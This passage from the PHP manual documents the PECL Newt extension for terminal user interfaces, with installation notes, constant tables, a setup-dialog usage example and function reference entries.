    • newt_pop_help_line — Replaces the current help line with the one from the stack
    • newt_pop_window — Removes the top window from the display
    • newt_push_help_line — Saves the current help line on a stack, and displays the new line
    • newt_radio_get_current — Description
    • newt_radiobutton — Description
    • newt_redraw_help_line — Description
    • newt_reflow_text — Description
    • newt_refresh — Updates modified portions of the screen
    • newt_resize_screen — Description
    • newt_resume — Resume using the newt interface after calling newt_suspend
    • newt_run_form — Runs a form
    • newt_scale_set — Description
    • newt_scale — Description
    • newt_scrollbar_set — Description
    • newt_set_help_callback — Description
    • newt_set_suspend_callback — Set a callback function which gets invoked when user presses the suspend key
    • newt_suspend — Tells newt to return the terminal to its initial state
    • newt_textbox_get_num_lines — Description
    • newt_textbox_reflowed — Description
    • newt_textbox_set_height — Description
    • newt_textbox_set_text — Description
    • newt_textbox — Description
    • newt_vertical_scrollbar — Description
    • newt_wait_for_key — Doesn't return until a key has been pressed
    • newt_win_choice — Description
    • newt_win_entries — Description
    • newt_win_menu — Description
    • newt_win_message — Description
    • newt_win_messagev — Description
    • newt_win_ternary — Description

User Contributed Notes

There are no user contributed notes for this page.
ncurses_wvline
Introduction
Command Line Specific Extensions


Introduction

This is a PHP language extension for RedHat Newt library, a terminal-based window and widget library for writing applications with user friendly interface. Once this extension is enabled in PHP it will provide the use of Newt widgets, such as windows, buttons, checkboxes, radiobuttons, labels, editboxes, scrolls, textareas, scales, etc. Use of this extension if very similar to the original Newt API of C programming language.

User Contributed Notes

There are no user contributed notes for this page.
Newt
Installing/Configuring
Newt


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Newt


Requirements

This module uses the functions of the RedHat Newt library. You need libnewt version >= 0.51.0.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/newt.

In PHP 4 this PECL extensions source can be found in the ext/ directory within the PHP source or at the PECL link above. In order to use these functions you must compile CGI or CLI PHP with newt support by using the --with-newt[=DIR] configure option.

Note:

This extension is not available for Windows platform.

You may need also curses and slang libraries, in order to compile this extension. To specify locations of these libraries, use the following configuration options: --with-curses-dir=/path/to/libcurses --with-slang-dir=/path/to/libslang

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

This extension uses two resource types: "newt component" and "newt grid".

Resource type "newt component" is returned by functions, which create common newt widgets (for example: newt_button())

Resource type "newt grid" is a special link identifier for components, returned by newt grid factory functions (for example: newt_create_grid())

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

Table of Contents

  • Newt form exit reasons
  • Newt colorsets
  • Newt argument flags
  • Newt Flags Sense
  • Newt Components Flags
  • File Descriptor Flags
  • Checkbox Tree Flags
  • Entry Flags
  • Listbox Flags
  • Textbox Flags
  • Form Flags
  • Newt Keys
  • Newt Anchors
  • Grid Flags

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Newt form exit reasons
Newt


Newt form exit reasons

Newt form exit reasons
constant | meaning
NEWT_EXIT_HOTKEY | hotkey defined by newt_form_add_hot_key() was pressed
NEWT_EXIT_COMPONENT | some component has caused form to exit
NEWT_EXIT_FDREADY | file descriptor specified in newt_form_watch_fd() is ready to be read or written to
NEWT_EXIT_TIMER | time specified in newt_form_set_timer() has elapsed

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Newt colorsets
Predefined Constants


Newt colorsets

Newt colorsets
constant | meaning
NEWT_COLORSET_ROOT |
NEWT_COLORSET_BORDER |
NEWT_COLORSET_WINDOW |
NEWT_COLORSET_SHADOW |
NEWT_COLORSET_TITLE |
NEWT_COLORSET_BUTTON |
NEWT_COLORSET_ACTBUTTON |
NEWT_COLORSET_CHECKBOX |
NEWT_COLORSET_ACTCHECKBOX |
NEWT_COLORSET_ENTRY |
NEWT_COLORSET_LABEL |
NEWT_COLORSET_LISTBOX |
NEWT_COLORSET_ACTLISTBOX |
NEWT_COLORSET_TEXTBOX |
NEWT_COLORSET_ACTTEXTBOX |
NEWT_COLORSET_HELPLINE |
NEWT_COLORSET_ROOTTEXT |
NEWT_COLORSET_ROOTTEXT |
NEWT_COLORSET_EMPTYSCALE |
NEWT_COLORSET_FULLSCALE |
NEWT_COLORSET_DISENTRY |
NEWT_COLORSET_COMPACTBUTTON |
NEWT_COLORSET_ACTSELLISTBOX |
NEWT_COLORSET_SELLISTBOX |

User Contributed Notes

There are no user contributed notes for this page.
Newt form exit reasons
Newt argument flags
Predefined Constants


Newt argument flags

Newt argument flags
constant | meaning
NEWT_ARG_LAST |
NEWT_ARG_APPEND |

User Contributed Notes

There are no user contributed notes for this page.
Newt colorsets
Newt Flags Sense
Predefined Constants


Newt Flags Sense

Newt Flags Sense
constant | meaning
NEWT_FLAGS_SET |
NEWT_FLAGS_RESET |
NEWT_FLAGS_TOGGLE |

User Contributed Notes

There are no user contributed notes for this page.
Newt argument flags
Newt Components Flags
Predefined Constants


Newt Components Flags

Newt Components Flags
constant | meaning
NEWT_FLAG_RETURNEXIT | Exit form, when component is activated
NEWT_FLAG_HIDDEN | Component is hidden
NEWT_FLAG_SCROLL | Component is scrollable
NEWT_FLAG_DISABLED | Component is disabled
NEWT_FLAG_BORDER |
NEWT_FLAG_WRAP | Wrap text
NEWT_FLAG_NOF12 | Don't exit form on pressing F12
NEWT_FLAG_MULTIPLE |
NEWT_FLAG_SELECTED | Component is selected
NEWT_FLAG_CHECKBOX | Component is checkbox
NEWT_FLAG_PASSWORD | Entry component is password entry
NEWT_FLAG_SHOWCURSOR | Show cursor

User Contributed Notes

There are no user contributed notes for this page.
Newt Flags Sense
File Descriptor Flags
Predefined Constants


File Descriptor Flags

File Descriptor Flags
constant | meaning
NEWT_FD_READ |
NEWT_FD_WRITE |
NEWT_FD_EXCEPT |

User Contributed Notes

There are no user contributed notes for this page.
Newt Components Flags
Checkbox Tree Flags
Predefined Constants


Checkbox Tree Flags

Checkbox Tree Flags
constant | meaning
NEWT_CHECKBOXTREE_UNSELECTABLE |
NEWT_CHECKBOXTREE_HIDE_BOX |
NEWT_CHECKBOXTREE_COLLAPSED |
NEWT_CHECKBOXTREE_EXPANDED |
NEWT_CHECKBOXTREE_UNSELECTED |
NEWT_CHECKBOXTREE_SELECTED |

User Contributed Notes

There are no user contributed notes for this page.
File Descriptor Flags
Entry Flags
Predefined Constants


Entry Flags

Entry Flags
constant | meaning
NEWT_ENTRY_SCROLL |
NEWT_ENTRY_HIDDEN |
NEWT_ENTRY_RETURNEXIT |
NEWT_ENTRY_DISABLED |

User Contributed Notes

There are no user contributed notes for this page.
Checkbox Tree Flags
Listbox Flags
Predefined Constants


Listbox Flags

Listbox Flags
constant | meaning
NEWT_LISTBOX_RETURNEXIT |

User Contributed Notes

There are no user contributed notes for this page.
Entry Flags
Textbox Flags
Predefined Constants


Textbox Flags

Textbox Flags
constant | meaning
NEWT_TEXTBOX_WRAP | Wrap text in the textbox
NEWT_TEXTBOX_SCROLL | Scroll text in the textbox

User Contributed Notes

There are no user contributed notes for this page.
Listbox Flags
Form Flags
Predefined Constants


Form Flags

Form Flags
constant | meaning
NEWT_FORM_NOF12 | Don't exit form on F12 press

User Contributed Notes

There are no user contributed notes for this page.
Textbox Flags
Newt Keys
Predefined Constants


Newt Keys

Newt Keys
constant | meaning
NEWT_KEY_TAB |
NEWT_KEY_ENTER |
NEWT_KEY_SUSPEND |
NEWT_KEY_ESCAPE |
NEWT_KEY_RETURN |
NEWT_KEY_EXTRA_BASE |
NEWT_KEY_UP |
NEWT_KEY_DOWN |
NEWT_KEY_LEFT |
NEWT_KEY_RIGHT |
NEWT_KEY_BKSPC |
NEWT_KEY_DELETE |
NEWT_KEY_HOME |
NEWT_KEY_END |
NEWT_KEY_UNTAB |
NEWT_KEY_PGUP |
NEWT_KEY_PGDN |
NEWT_KEY_INSERT |
NEWT_KEY_F1 |
NEWT_KEY_F2 |
NEWT_KEY_F3 |
NEWT_KEY_F4 |
NEWT_KEY_F5 |
NEWT_KEY_F6 |
NEWT_KEY_F7 |
NEWT_KEY_F8 |
NEWT_KEY_F9 |
NEWT_KEY_F10 |
NEWT_KEY_F11 |
NEWT_KEY_F12 |
NEWT_KEY_RESIZE |

User Contributed Notes

There are no user contributed notes for this page.
Form Flags
Newt Anchors
Predefined Constants


Newt Anchors

Newt Anchors
constant | meaning
NEWT_ANCHOR_LEFT |
NEWT_ANCHOR_RIGHT |
NEWT_ANCHOR_TOP |
NEWT_ANCHOR_BOTTOM |

User Contributed Notes

There are no user contributed notes for this page.
Newt Keys
Grid Flags
Predefined Constants


Grid Flags

Grid Flags
constant | meaning
NEWT_GRID_FLAG_GROWX |
NEWT_GRID_FLAG_GROWY |
NEWT_GRID_EMPTY |
NEWT_GRID_COMPONENT |
NEWT_GRID_SUBGRID |

User Contributed Notes

There are no user contributed notes for this page.
Newt Anchors
Examples
Predefined Constants


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Grid Flags
Basic usage
Newt


Basic usage

This example is a PHP port of RedHat 'setup' utility dialog, executed in text mode.

Example #1 Newt Usage Example

<?php
newt_init ();
newt_cls ();

newt_draw_root_text (0, 0, "Test Mode Setup Utility 1.12");
newt_push_help_line (null);
newt_draw_root_text (-30, 0, "(c) 1999-2002 RedHat, Inc");

newt_get_screen_size ($rows, $cols);

newt_open_window ($rows/2-17, $cols/2-10, 34, 17, "Choose a Tool");

$form = newt_form ();

$list = newt_listbox (3, 2, 10);

foreach (array (
    "Authentication configuration",
    "Firewall configuration",
    "Mouse configuration",
    "Network configuration",
    "Printer configuration",
    "System services") as $l_item)
{
    newt_listbox_add_entry ($list, $l_item, $l_item);
}

$b1 = newt_button (5, 12, "Run Tool");
$b2 = newt_button (21, 12, "Quit");

newt_form_add_component ($form, $list);
newt_form_add_components ($form, array($b1, $b2));

newt_refresh ();
newt_run_form ($form);

newt_pop_window ();
newt_pop_help_line ();
newt_finished ();
newt_form_destroy ($form);
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
Newt Functions
Examples


Newt Functions

Table of Contents

  • newt_bell — Send a beep to the terminal
  • newt_button_bar — This function returns a grid containing the buttons created.
  • newt_button — Create a new button
  • newt_centered_window — Open a centered window of the specified size
  • newt_checkbox_get_value — Retreives value of checkox resource
  • newt_checkbox_set_flags — Configures checkbox resource
  • newt_checkbox_set_value — Sets the value of the checkbox
  • newt_checkbox_tree_add_item — Adds new item to the checkbox tree
  • newt_checkbox_tree_find_item — Finds an item in the checkbox tree
  • newt_checkbox_tree_get_current — Returns checkbox tree selected item
  • newt_checkbox_tree_get_entry_value — Description
  • newt_checkbox_tree_get_multi_selection — Description
  • newt_checkbox_tree_get_selection — Description
  • newt_checkbox_tree_multi — Description
  • newt_checkbox_tree_set_current — Description
  • newt_checkbox_tree_set_entry_value — Description
  • newt_checkbox_tree_set_entry — Description
  • newt_checkbox_tree_set_width — Description
  • newt_checkbox_tree — Description
  • newt_checkbox — Description
  • newt_clear_key_buffer — Discards the contents of the terminal's input buffer without waiting for additional input
  • newt_cls — Description
  • newt_compact_button — Description
  • newt_component_add_callback — Description
  • newt_component_takes_focus — Description
  • newt_create_grid — Description
  • newt_cursor_off — Description
  • newt_cursor_on — Description
  • newt_delay — Description
  • newt_draw_form — Description
  • newt_draw_root_text — Displays the string text at the position indicated
  • newt_entry_get_value — Description
  • newt_entry_set_filter — Description
  • newt_entry_set_flags — Description
  • newt_entry_set — Description
  • newt_entry — Description
  • newt_finished — Uninitializes newt interface
  • newt_form_add_component — Adds a single component to the form
  • newt_form_add_components — Add several components to the form
  • newt_form_add_hot_key — Description
  • newt_form_destroy — Destroys a form
  • newt_form_get_current — Description
  • newt_form_run — Runs a form
  • newt_form_set_background — Description
  • newt_form_set_height — Description
  • newt_form_set_size — Description
  • newt_form_set_timer — Description
  • newt_form_set_width — Description
  • newt_form_watch_fd — Description
  • newt_form — Create a form
  • newt_get_screen_size — Fills in the passed references with the current size of the terminal
  • newt_grid_add_components_to_form — Description
  • newt_grid_basic_window — Description
  • newt_grid_free — Description
  • newt_grid_get_size — Description
  • newt_grid_h_close_stacked — Description
  • newt_grid_h_stacked — Description
  • newt_grid_place — Description
  • newt_grid_set_field — Description
  • newt_grid_simple_window — Description
  • newt_grid_v_close_stacked — Description
  • newt_grid_v_stacked — Description
  • newt_grid_wrapped_window_at — Description
  • newt_grid_wrapped_window — Description
  • newt_init — Initialize newt
  • newt_label_set_text — Description
  • newt_label — Description
  • newt_listbox_append_entry — Description
  • newt_listbox_clear_selection — Description
  • newt_listbox_clear — Description
  • newt_listbox_delete_entry — Description
  • newt_listbox_get_current — Description
  • newt_listbox_get_selection — Description
  • newt_listbox_insert_entry — Description
  • newt_listbox_item_count — Description
  • newt_listbox_select_item — Description
  • newt_listbox_set_current_by_key — Description
  • newt_listbox_set_current — Description
  • newt_listbox_set_data — Description
  • newt_listbox_set_entry — Description
  • newt_listbox_set_width — Description
  • newt_listbox — Description
  • newt_listitem_get_data — Description
  • newt_listitem_set — Description
  • newt_listitem — Description
  • newt_open_window — Open a window of the specified size and position
  • newt_pop_help_line — Replaces the current help line with the one from the stack
  • newt_pop_window — Removes the top window from the display
  • newt_push_help_line — Saves the current help line on a stack, and displays the new line
  • newt_radio_get_current — Description
  • newt_radiobutton — Description
  • newt_redraw_help_line — Description
  • newt_reflow_text — Description
  • newt_refresh — Updates modified portions of the screen
  • newt_resize_screen — Description
  • newt_resume — Resume using the newt interface after calling newt_suspend
  • newt_run_form — Runs a form
  • newt_scale_set — Description
  • newt_scale — Description
  • newt_scrollbar_set — Description
  • newt_set_help_callback — Description
  • newt_set_suspend_callback — Set a callback function which gets invoked when user presses the suspend key
  • newt_suspend — Tells newt to return the terminal to its initial state
  • newt_textbox_get_num_lines — Description
  • newt_textbox_reflowed — Description
  • newt_textbox_set_height — Description
  • newt_textbox_set_text — Description
  • newt_textbox — Description
  • newt_vertical_scrollbar — Description
  • newt_wait_for_key — Doesn't return until a key has been pressed
  • newt_win_choice — Description
  • newt_win_entries — Description
  • newt_win_menu — Description
  • newt_win_message — Description
  • newt_win_messagev — Description
  • newt_win_ternary — Description

User Contributed Notes

There are no user contributed notes for this page.
Basic usage
newt_bell
Newt


Send a beep to the terminal

Newt Functions
newt_button_bar
Newt Functions
PHP Manual

newt_bell

(PECL newt >= 0.1)

newt_bell — Send a beep to the terminal

Description

void newt_bell ( void )

This function sends a beep to the terminal.

Note:

Depending on the terminal's settings, this beep may or may not be audible.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
Newt Functions
newt_button_bar
Newt Functions


This function returns a grid containing the buttons created.

newt_bell
newt_button
Newt Functions
PHP Manual

newt_button_bar

(PECL newt >= 0.1)

newt_button_bar — This function returns a grid containing the buttons created.

Description

resource newt_button_bar ( array &$buttons )

This function returns a grid containing the buttons created.

Parameters

buttons

Return Values

Returns grid containing the buttons created.

User Contributed Notes

There are no user contributed notes for this page.
newt_bell
newt_button
Newt Functions


Create a new button

newt_button_bar
newt_centered_window
Newt Functions
PHP Manual

newt_button

(PECL newt >= 0.1)

newt_button — Create a new button

Description

resource newt_button ( int $left , int $top , string $text )

Creates a new button.

Parameters

left

X-coordinate of the button.

top

Y-coordinate of the button.

text

The text which should be displayed in the button.

Return Values

Returns a resource link to the created button component, or FALSE on error.

Examples

Example #1 A newt_button() example

<?php

$form = newt_form();

$ok_button = newt_button(5, 12, "Run Tool");

newt_form_add_component($form, $ok_button);

?>

See Also

  • newt_button_bar() - This function returns a grid containing the buttons created.

User Contributed Notes

There are no user contributed notes for this page.
newt_button_bar
newt_centered_window
Newt Functions


Open a centered window of the specified size

newt_button
newt_checkbox_get_value
Newt Functions
PHP Manual

newt_centered_window

(PECL newt >= 0.1)

newt_centered_window — Open a centered window of the specified size

Description

int newt_centered_window ( int $width , int $height [, string $title ] )

Open a centered window of the specified size.

Parameters

width

Window width

height

Window height

title

Window title

Return Values

Undefined value.

See Also

  • newt_pop_window() - Removes the top window from the display
  • newt_open_window() - Open a window of the specified size and position

User Contributed Notes

There are no user contributed notes for this page.
newt_button
newt_checkbox_get_value
Newt Functions


Retreives value of checkox resource

newt_centered_window
newt_checkbox_set_flags
Newt Functions
PHP Manual

newt_checkbox_get_value

(PECL newt >= 0.1)

newt_checkbox_get_value — Retreives value of checkox resource

Description

string newt_checkbox_get_value ( resource $checkbox )

This function returns the character in the sequence which indicates the current value of the checkbox.

Parameters

checkbox

Return Values

Returns character indicating the value of the checkbox.

User Contributed Notes

There are no user contributed notes for this page.
newt_centered_window
newt_checkbox_set_flags
Newt Functions


Configures checkbox resource

newt_checkbox_get_value
newt_checkbox_set_value
Newt Functions
PHP Manual

newt_checkbox_set_flags

(PECL newt >= 0.1)

newt_checkbox_set_flags — Configures checkbox resource

Description

void newt_checkbox_set_flags ( resource $checkbox , int $flags , int $sense )

This function allows to set various flags on checkbox resource.

Parameters

checkbox

flags

sense

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox_get_value
newt_checkbox_set_value
Newt Functions


Sets the value of the checkbox

newt_checkbox_set_flags
newt_checkbox_tree_add_item
Newt Functions
PHP Manual

newt_checkbox_set_value

(PECL newt >= 0.1)

newt_checkbox_set_value — Sets the value of the checkbox

Description

void newt_checkbox_set_value ( resource $checkbox , string $value )

This function allows to set the current value of the checkbox resource.

Parameters

checkbox

value

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox_set_flags
newt_checkbox_tree_add_item
Newt Functions


Adds new item to the checkbox tree

newt_checkbox_set_value
newt_checkbox_tree_find_item
Newt Functions
PHP Manual

newt_checkbox_tree_add_item

(PECL newt >= 0.1)

newt_checkbox_tree_add_item — Adds new item to the checkbox tree

Description

void newt_checkbox_tree_add_item ( resource $checkboxtree , string $text , mixed $data , int $flags , int $index [, int $... ] )

This function allows to add new item to the checkbox tree.

Parameters

checkboxtree

text

data

flags

index

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox_set_value
newt_checkbox_tree_find_item
Newt Functions


Finds an item in the checkbox tree

newt_checkbox_tree_add_item
newt_checkbox_tree_get_current
Newt Functions
PHP Manual

newt_checkbox_tree_find_item

(PECL newt >= 0.1)

newt_checkbox_tree_find_item — Finds an item in the checkbox tree

Description

array newt_checkbox_tree_find_item ( resource $checkboxtree , mixed $data )

Finds an item in the checkbox tree by item's data.

Parameters

checkboxtree

data

Return Values

Returns checkbox tree item resource, or NULL if it wasn't found.

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox_tree_add_item
newt_checkbox_tree_get_current
Newt Functions


Returns checkbox tree selected item

newt_checkbox_tree_find_item
newt_checkbox_tree_get_entry_value
Newt Functions
PHP Manual

newt_checkbox_tree_get_current

(PECL newt >= 0.1)

newt_checkbox_tree_get_current — Returns checkbox tree selected item

Description

mixed newt_checkbox_tree_get_current ( resource $checkboxtree )

This method returns checkbox tree selected tem.

Parameters

checkboxtree

Return Values

Returns current (selected) checkbox tree item.

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox_tree_find_item
newt_checkbox_tree_get_entry_value
Newt Functions


newt_checkbox_tree_get_current
newt_checkbox_tree_get_multi_selection
Newt Functions
PHP Manual

newt_checkbox_tree_get_entry_value

(PECL newt >= 0.1)

newt_checkbox_tree_get_entry_value —

Description

string newt_checkbox_tree_get_entry_value ( resource $checkboxtree , mixed $data )
Warning

This function is currently not documented; only its argument list is available.

Parameters

checkboxtree

data

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox_tree_get_current
newt_checkbox_tree_get_multi_selection
Newt Functions


newt_checkbox_tree_get_entry_value
newt_checkbox_tree_get_selection
Newt Functions
PHP Manual

newt_checkbox_tree_get_multi_selection

(PECL newt >= 0.1)

newt_checkbox_tree_get_multi_selection —

Description

array newt_checkbox_tree_get_multi_selection ( resource $checkboxtree , string $seqnum )
Warning

This function is currently not documented; only its argument list is available.

Parameters

checkboxtree

seqnum

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox_tree_get_entry_value
newt_checkbox_tree_get_selection
Newt Functions


newt_checkbox_tree_get_multi_selection
newt_checkbox_tree_multi
Newt Functions
PHP Manual

newt_checkbox_tree_get_selection

(PECL newt >= 0.1)

newt_checkbox_tree_get_selection —

Description

array newt_checkbox_tree_get_selection ( resource $checkboxtree )
Warning

This function is currently not documented; only its argument list is available.

Parameters

checkboxtree

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox_tree_get_multi_selection
newt_checkbox_tree_multi
Newt Functions


newt_checkbox_tree_get_selection
newt_checkbox_tree_set_current
Newt Functions
PHP Manual

newt_checkbox_tree_multi

(PECL newt >= 0.1)

newt_checkbox_tree_multi —

Description

resource newt_checkbox_tree_multi ( int $left , int $top , int $height , string $seq [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

height

seq

flags

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox_tree_get_selection
newt_checkbox_tree_set_current
Newt Functions


newt_checkbox_tree_multi
newt_checkbox_tree_set_entry_value
Newt Functions
PHP Manual

newt_checkbox_tree_set_current

(PECL newt >= 0.1)

newt_checkbox_tree_set_current —

Description

void newt_checkbox_tree_set_current ( resource $checkboxtree , mixed $data )
Warning

This function is currently not documented; only its argument list is available.

Parameters

checkboxtree

data

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox_tree_multi
newt_checkbox_tree_set_entry_value
Newt Functions


newt_checkbox_tree_set_current
newt_checkbox_tree_set_entry
Newt Functions
PHP Manual

newt_checkbox_tree_set_entry_value

(PECL newt >= 0.1)

newt_checkbox_tree_set_entry_value —

Description

void newt_checkbox_tree_set_entry_value ( resource $checkboxtree , mixed $data , string $value )
Warning

This function is currently not documented; only its argument list is available.

Parameters

checkboxtree

data

value

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox_tree_set_current
newt_checkbox_tree_set_entry
Newt Functions


newt_checkbox_tree_set_entry_value
newt_checkbox_tree_set_width
Newt Functions
PHP Manual

newt_checkbox_tree_set_entry

(PECL newt >= 0.1)

newt_checkbox_tree_set_entry —

Description

void newt_checkbox_tree_set_entry ( resource $checkboxtree , mixed $data , string $text )
Warning

This function is currently not documented; only its argument list is available.

Parameters

checkboxtree

data

text

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox_tree_set_entry_value
newt_checkbox_tree_set_width
Newt Functions


newt_checkbox_tree_set_entry
newt_checkbox_tree
Newt Functions
PHP Manual

newt_checkbox_tree_set_width

(PECL newt >= 0.1)

newt_checkbox_tree_set_width —

Description

void newt_checkbox_tree_set_width ( resource $checkbox_tree , int $width )
Warning

This function is currently not documented; only its argument list is available.

Parameters

checkbox_tree

width

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox_tree_set_entry
newt_checkbox_tree
Newt Functions


newt_checkbox_tree_set_width
newt_checkbox
Newt Functions
PHP Manual

newt_checkbox_tree

(PECL newt >= 0.1)

newt_checkbox_tree —

Description

resource newt_checkbox_tree ( int $left , int $top , int $height [, int $flags ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

height

flags

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox_tree_set_width
newt_checkbox
Newt Functions


newt_checkbox_tree
newt_clear_key_buffer
Newt Functions
PHP Manual

newt_checkbox

(PECL newt >= 0.1)

newt_checkbox —

Description

resource newt_checkbox ( int $left , int $top , string $text , string $def_value [, string $seq ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

text

def_value

seq

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox_tree
newt_clear_key_buffer
Newt Functions


Discards the contents of the terminal's input buffer without waiting for additional input

newt_checkbox
newt_cls
Newt Functions
PHP Manual

newt_clear_key_buffer

(PECL newt >= 0.1)

newt_clear_key_buffer — Discards the contents of the terminal's input buffer without waiting for additional input

Description

void newt_clear_key_buffer ( void )

Discards the contents of the terminal's input buffer without waiting for additional input.

Return Values

No value is returned.

See Also

  • newt_wait_for_key() - Doesn't return until a key has been pressed

User Contributed Notes

There are no user contributed notes for this page.
newt_checkbox
newt_cls
Newt Functions


newt_clear_key_buffer
newt_compact_button
Newt Functions
PHP Manual

newt_cls

(PECL newt >= 0.1)

newt_cls —

Description

void newt_cls ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_clear_key_buffer
newt_compact_button
Newt Functions


newt_cls
newt_component_add_callback
Newt Functions
PHP Manual

newt_compact_button

(PECL newt >= 0.1)

newt_compact_button —

Description

resource newt_compact_button ( int $left , int $top , string $text )
Warning

This function is currently not documented; only its argument list is available.

Parameters

left

top

text

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_cls
newt_component_add_callback
Newt Functions


newt_compact_button
newt_component_takes_focus
Newt Functions
PHP Manual

newt_component_add_callback

(PECL newt >= 0.1)

newt_component_add_callback —

Description

void newt_component_add_callback ( resource $component , mixed $func_name , mixed $data )
Warning

This function is currently not documented; only its argument list is available.

Parameters

component

func_name

data

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_compact_button
newt_component_takes_focus
Newt Functions


newt_component_add_callback
newt_create_grid
Newt Functions
PHP Manual

newt_component_takes_focus

(PECL newt >= 0.1)

newt_component_takes_focus —

Description

void newt_component_takes_focus ( resource $component , bool $takes_focus )
Warning

This function is currently not documented; only its argument list is available.

Parameters

component

takes_focus

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_component_add_callback
newt_create_grid
Newt Functions


newt_component_takes_focus
newt_cursor_off
Newt Functions
PHP Manual

newt_create_grid

(PECL newt >= 0.1)

newt_create_grid —

Description

resource newt_create_grid ( int $cols , int $rows )
Warning

This function is currently not documented; only its argument list is available.

Parameters

cols

rows

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_component_takes_focus
newt_cursor_off
Newt Functions


newt_create_grid
newt_cursor_on
Newt Functions
PHP Manual

newt_cursor_off

(PECL newt >= 0.1)

newt_cursor_off —

Description

void newt_cursor_off ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_create_grid
newt_cursor_on
Newt Functions


newt_cursor_off
newt_delay
Newt Functions
PHP Manual

newt_cursor_on

(PECL newt >= 0.1)

newt_cursor_on —

Description

void newt_cursor_on ( void )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_cursor_off
newt_delay
Newt Functions


newt_cursor_on
newt_draw_form
Newt Functions
PHP Manual

newt_delay

(PECL newt >= 0.1)

newt_delay —

Description

void newt_delay ( int $microseconds )
Warning

This function is currently not documented; only its argument list is available.

Parameters

microseconds

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_cursor_on
newt_draw_form
Newt Functions


newt_delay
newt_draw_root_text
Newt Functions
PHP Manual

newt_draw_form

(PECL newt >= 0.1)

newt_draw_form —

Description

void newt_draw_form ( resource $form )
Warning

This function is currently not documented; only its argument list is available.

Parameters

form

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_delay
newt_draw_root_text
Newt Functions


Displays the string text at the position indicated

newt_draw_form
newt_entry_get_value
Newt Functions
PHP Manual

newt_draw_root_text

(PECL newt >= 0.1)

newt_draw_root_text — Displays the string text at the position indicated

Description

void newt_draw_root_text ( int $left , int $top , string $text )

Displays the string text at the position indicated.

Parameters

left

Column number

Note:

If left is negative, the position is measured from the opposite side of the screen.

top

Line number

Note:

If top is negative, the position is measured from the opposite side of the screen.

text

Text to display.

Return Values

No value is returned.

Examples

Example #1 A newt_draw_root_text() example

This code demonstrates drawing of titles in the both corners of the screen.

<?php
 newt_init();
 newt_cls();

 newt_draw_root_text (2, 0, "Some root text");
 newt_refresh();
 sleep(1);

 newt_draw_root_text (-30, 0, "Root text in the other corner");
 newt_refresh();
 sleep(1);

 newt_finished();
?>

See Also

  • newt_push_help_line() - Saves the current help line on a stack, and displays the new line
  • newt_pop_help_line() - Replaces the current help line with the one from the stack

User Contributed Notes

There are no user contributed notes for this page.
newt_draw_form
newt_entry_get_value
Newt Functions


newt_draw_root_text
newt_entry_set_filter
Newt Functions
PHP Manual

newt_entry_get_value

(PECL newt >= 0.1)

newt_entry_get_value —

Description

string newt_entry_get_value ( resource $entry )
Warning

This function is currently not documented; only its argument list is available.

Parameters

entry

Return Values

User Contributed Notes

There are no user contributed notes for this page.
newt_draw_root_text
newt_entry_set_filter
Newt Functions


newt_entry_get_value
newt_entry_set_flags
Newt Functions
PHP Manual

newt_entry_set_filter

(PECL newt >= 0.1)

newt_entry_set_filter —

Description

void newt_entry_set_filter ( resource $entry , callback $filter , mixed $data )
Warning

This function is currently not documented; only its argument list is available.

Parameters

entry

filter

data

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
newt_entry_get_value
newt_entry_set_flags
Newt Functions


newt_entry_set_filter
newt_entry_set
Newt Functions
PHP Manual

newt_entry_set_flags

(PECL newt >= 0.1)

newt_entry_set_flags —

Description

void newt_entry_set_flags ( resource $entry , int $flags , int $sense )
Warning

